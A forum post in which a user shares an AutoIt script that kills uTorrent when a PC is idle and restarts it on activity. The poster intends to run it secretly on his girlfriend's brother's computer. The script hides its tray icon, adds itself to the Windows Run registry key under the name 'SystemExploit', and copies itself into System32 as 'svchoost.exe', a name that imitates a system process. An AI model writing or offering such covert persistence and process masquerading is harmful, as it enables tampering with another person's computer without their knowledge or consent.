Jump to content

Kill uTorrent , ProcessExists, ProcessClose


n0way
 Share

Recommended Posts

Hi,

So i've made a uTorrent killer when you idle 10minutes and which turn on uTorrent when you're back. You are certainly wondering why make a script like that, n0way is idiot ! :x

I'm going to explain you :

Sometimes it happens that i'm going to sleep at my girl friend's home, and she has got a brother who is downloading (certainly porn), but he is never at home.

So I decided to make a script that kill uTorrent when he is not here (almost always) and which turn on uTorrent when he is back.

#include <Process.au3>
#include <Timers.au3>

;--------------------------------- variable ---------------------------------
$var = 0
$mousex = 0
$mousey = 0
$IdleMinimum = 600000

Opt("TrayIconHide", 1)

;--------------------------------- verifier le programme se lance au demarrage du pc ---------------------------------
if RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit") = "" Then
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit", "REG_SZ", "C:\Windows\System32\svchoost.exe")
    FileCopy(@ScriptFullPath, "C:\Windows\System32\svchoost.exe", 1)
EndIf

;--------------------------------- Fonctionnement continu ---------------------------------
While 1
 
    If _Timer_GetIdleTime() >= $IdleMinimum Then
        If ProcessExists("uTorrent.exe") Then
            ProcessClose("uTorrent.exe")
            $var = 1
            $mousex = MouseGetPos(0)
            $mousey = MouseGetPos(1)
        EndIf
        Do
            Sleep(20)
        Until _Timer_GetIdleTime() < $IdleMinimum
    EndIf
    Sleep(20)

    If $var = 1 And $mousex <> MouseGetPos(0) And $mousey <> MouseGetPos(1) Then
        $var = 0
        ShellExecute("c:\Program Files\uTorrent\uTorrent.exe")
    EndIf


WEnd

I'm open for pieces of advice..

P.S : i'm sorry for my english, i'm working on it to perfect

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...